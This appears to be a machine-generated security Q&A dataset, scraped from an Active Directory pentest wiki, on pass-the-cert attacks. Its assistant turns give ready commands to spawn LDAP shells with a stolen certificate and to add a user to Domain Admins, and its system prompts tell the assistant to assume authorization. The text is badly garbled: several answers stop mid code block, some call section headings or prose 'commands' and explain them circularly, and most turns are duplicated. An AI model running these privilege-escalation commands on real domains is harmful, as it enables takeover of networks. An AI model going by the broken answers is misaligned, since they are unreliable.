How would I carry out elevate a user (it assumes that the domain account for which the certificate was issued, holds privileges to elevate user) during a pentest?

Response: passthecert.py -action modify_user -crt user.crt -key user.key -domain domain.local -dc-ip "10.0.0.1" -target user_sam -elevate


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe spawn a LDAP shell in the context of penetration testing

[Assistant]
passthecert.py -action ldap-shell -crt user.crt -key user.key -domain domain.local -dc-ip "10.0.0.1"
certipy auth -pfx -dc-ip "10.0.0.1" -ldap-shell
``

=== Windows

Pass the cert technique can be done with PassTheCert (C# version).

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe spawn a LDAP shell in the context of penetration testing

Response:
passthecert.py -action ldap-shell -crt user.crt -key user.key -domain domain.local -dc-ip "10.0.0.1"
certipy auth -pfx -dc-ip "10.0.0.1" -ldap-shell
``

=== Windows

Pass the cert technique can be done with PassTheCert (C# version).

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do spawn a LDAP shell

[Assistant]
passthecert.py -action ldap-shell -crt user.crt -key user.key -domain domain.local -dc-ip "10.0.0.1"
certipy auth -pfx -dc-ip "10.0.0.1" -ldap-shell
``

=== Windows

Pass the cert technique can be done with PassTheCert (C# version).

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
passthecert.py -action ldap-shell -crt user.crt -key user.key -domain domain.local -dc-ip "10.0.0.1"
certipy auth -pfx -dc-ip "10.0.0.1" -ldap-shell
``

=== Windows

Pass the cert technique can be done with PassTheCert (C# version).

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out spawn a LDAP shell during a pentest?

[Assistant]
=== Windows

Pass the cert technique can be done with [PassTheCert](https://github.com/AlmondOffSec/PassTheCert/) (C# version).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out spawn a LDAP shell during a pentest?

Response:
=== Windows

Pass the cert technique can be done with [PassTheCert](https://github.com/AlmondOffSec/PassTheCert/) (C# version).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Windows`?

[Assistant] This command is used for spawn a ldap shell. spawn a LDAP shell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Windows`?

Response: This command is used for spawn a ldap shell. spawn a LDAP shell


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Add simple_user to Domain Admins (it assumes that the domain account for which the certificate was issued, holds privileges to add user to this group)

[Assistant]
.\PassTheCert.exe --server fqdn.domain.local --cert-path Z:\cert.pfx --add-account-to-group --target "CN=Domain Admins,CN=Users,DC=domain,DC=local" --account "CN=simple_user,CN=Users,DC=domain,DC=local"
``

It can also be done with this Invoke-PassTheCert fork (PowerShell version).

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash), and provides numerous actions (e.g. raw LDAP queries, Shadow Credentials enumeration & exploitation, DnsRecords enumeration, etc.)
``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Add simple_user to Domain Admins (it assumes that the domain account for which the certificate was issued, holds privileges to add user to this group)

Response:
.\PassTheCert.exe --server fqdn.domain.local --cert-path Z:\cert.pfx --add-account-to-group --target "CN=Domain Admins,CN=Users,DC=domain,DC=local" --account "CN=simple_user,CN=Users,DC=domain,DC=local"
``

It can also be done with this Invoke-PassTheCert fork (PowerShell version).

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash), and provides numerous actions (e.g. raw LDAP queries, Shadow Credentials enumeration & exploitation, DnsRecords enumeration, etc.)
``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Add simple_user to Domain Admins (it assumes that the domain account for which the certificate was issued, holds privileges to add user to this group)?

[Assistant]
.\PassTheCert.exe --server fqdn.domain.local --cert-path Z:\cert.pfx --add-account-to-group --target "CN=Domain Admins,CN=Users,DC=domain,DC=local" --account "CN=simple_user,CN=Users,DC=domain,DC=local"
``

It can also be done with this Invoke-PassTheCert fork (PowerShell version).

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash), and provides numerous actions (e.g. raw LDAP queries, Shadow Credentials enumeration & exploitation, DnsRecords enumeration, etc.)
``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Add simple_user to Domain Admins (it assumes that the domain account for which the certificate was issued, holds privileges to add user to this group)?

Response:
.\PassTheCert.exe --server fqdn.domain.local --cert-path Z:\cert.pfx --add-account-to-group --target "CN=Domain Admins,CN=Users,DC=domain,DC=local" --account "CN=simple_user,CN=Users,DC=domain,DC=local"
``

It can also be done with this Invoke-PassTheCert fork (PowerShell version).

> Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash), and provides numerous actions (e.g. raw LDAP queries, Shadow Credentials enumeration & exploitation, DnsRecords enumeration, etc.)
``powershell


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the It syntax for add simple_user to domain admins (it assumes that the domain account for which the certificate was issued, holds privileges to add user to this group)?

[Assistant]
It can also be done with this [Invoke-PassTheCert](https://github.com/jamarir/Invoke-PassTheCert) fork (PowerShell version).

> Note: the [README](https://github.com/jamarir/Invoke-PassTheCert/blob/main/README.md) contains the methodology to request a certificate using [certreq](https://github.com/GhostPack/Certify/issues/13#issuecomment-3622538862) from Windows (with a password, or an NTHash), and provides numerous actions (e.g. raw LDAP queries, Shadow Credentials enumeration & exploitation, DnsRecords enumeration, etc.)

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the It syntax for add simple_user to domain admins (it assumes that the domain account for which the certificate was issued, holds privileges to add user to this group)?

Response:
It can also be done with this [Invoke-PassTheCert](https://github.com/jamarir/Invoke-PassTheCert) fork (PowerShell version).

> Note: the [README](https://github.com/jamarir/Invoke-PassTheCert/blob/main/README.md) contains the methodology to request a certificate using [certreq](https://github.com/GhostPack/Certify/issues/13#issuecomment-3622538862) from Windows (with a password, or an NTHash), and provides numerous actions (e.g. raw LDAP queries, Shadow Credentials enumeration & exploitation, DnsRecords enumeration, etc.)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Add simple_user to Domain Admins (it assumes that the domain account for which the certificate was issued, holds privileges to add user to this group)

[Assistant]
It can also be done with this [Invoke-PassTheCert](https://github.com/jamarir/Invoke-PassTheCert) fork (PowerShell version).

> Note: the [README](https://github.com/jamarir/Invoke-PassTheCert/blob/main/README.md) contains the methodology to request a certificate using [certreq](https://github.com/GhostPack/Certify/issues/13#issuecomment-3622538862) from Windows (with a password, or an NTHash), and provides numerous actions (e.g. raw LDAP queries, Shadow Credentials enumeration & exploitation, DnsRecords enumeration, etc.)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Add simple_user to Domain Admins (it assumes that the domain account for which the certificate was issued, holds privileges to add user to this group)

Response:
It can also be done with this [Invoke-PassTheCert](https://github.com/jamarir/Invoke-PassTheCert) fork (PowerShell version).

> Note: the [README](https://github.com/jamarir/Invoke-PassTheCert/blob/main/README.md) contains the methodology to request a certificate using [certreq](https://github.com/GhostPack/Certify/issues/13#issuecomment-3622538862) from Windows (with a password, or an NTHash), and provides numerous actions (e.g. raw LDAP queries, Shadow Credentials enumeration & exploitation, DnsRecords enumeration, etc.)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `It can also be done with this [Invoke-PassTheCert](https://github.com/jamarir/Invoke-PassTheCert) fork (PowerShell version).`?

[Assistant] This command is used for add simple_user to domain admins (it assumes that the domain account for which the certificate was issued, holds privileges to add user to this group). Add simple_user to Domain Admins (it assumes that the domain account for which the certificate was issued, holds privileges to add user to this group)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `It can also be done with this [Invoke-PassTheCert](https://github.com/jamarir/Invoke-PassTheCert) fork (PowerShell version).`?

Response: This command is used for add simple_user to domain admins (it assumes that the domain account for which the certificate was issued, holds privileges to add user to this group). Add simple_user to Domain Admins (it assumes that the domain account for which the certificate was issued, holds privileges to add user to this group)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Perform an action, e.g. add simple_user to Domain Admins (assuming the account authenticated with the certificate is allowed to do so).

[Assistant]
Invoke-PassTheCert -Action 'AddGroupMember' -LdapConnection $LdapConnection -Identity 'CN=simple_user,CN=Users,DC=domain,DC=local' -GroupDN 'CN=Domain Admins,CN=Users,DC=domain,DC=local'
```

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Perform an action, e.g. add simple_user to Domain Admins (assuming the account authenticated with the certificate is allowed to do so).

Response:
Invoke-PassTheCert -Action 'AddGroupMember' -LdapConnection $LdapConnection -Identity 'CN=simple_user,CN=Users,DC=domain,DC=local' -GroupDN 'CN=Domain Admins,CN=Users,DC=domain,DC=local'
```

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Perform an action, e.g. add simple_user to Domain Admins (assuming the account authenticated with the certificate is allowed to do so).

[Assistant]
Invoke-PassTheCert -Action 'AddGroupMember' -LdapConnection $LdapConnection -Identity 'CN=simple_user,CN=Users,DC=domain,DC=local' -GroupDN 'CN=Domain Admins,CN=Users,DC=domain,DC=local'
```

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Perform an action, e.g. add simple_user to Domain Admins (assuming the account authenticated with the certificate is allowed to do so).

Response:
Invoke-PassTheCert -Action 'AddGroupMember' -LdapConnection $LdapConnection -Identity 'CN=simple_user,CN=Users,DC=domain,DC=local' -GroupDN 'CN=Domain Admins,CN=Users,DC=domain,DC=local'
```

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Trusts - Theory?

[Assistant]
> [!WARNING]
> Attacking Active Directory trust relationships requires a good understanding of a lot of concepts (what forests and domains are, how trusts work, what security mechanisms are involved and how they work, ...). Consequently, this page is lengthy, especially in the theory and resources parts, but I did my best to include all the necessary info here.
>
> Pro tip: use the page outline on the right panel, to browse it more easily.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Trusts - Theory?

Response:
> [!WARNING]
> Attacking Active Directory trust relationships requires a good understanding of a lot of concepts (what forests and domains are, how trusts work, what security mechanisms are involved and how they work, ...). Consequently, this page is lengthy, especially in the theory and resources parts, but I did my best to include all the necessary info here.
>
> Pro tip: use the page outline on the right panel, to browse it more easily.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Trusts - Theory?

[Assistant]
> [!WARNING]
> Attacking Active Directory trust relationships requires a good understanding of a lot of concepts (what forests and domains are, how trusts work, what security mechanisms are involved and how they work, ...). Consequently, this page is lengthy, especially in the theory and resources parts, but I did my best to include all the necessary info here.
>
> Pro tip: use the page outline on the right panel, to browse it more easily.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
> [!WARNING]
> Attacking Active Directory trust relationships requires a good understanding of a lot of concepts (what forests and domains are, how trusts work, what security mechanisms are involved and how they work, ...). Consequently, this page is lengthy, especially in the theory and resources parts, but I did my best to include all the necessary info here.
>
> Pro tip: use the page outline on the right panel, to browse it more easily.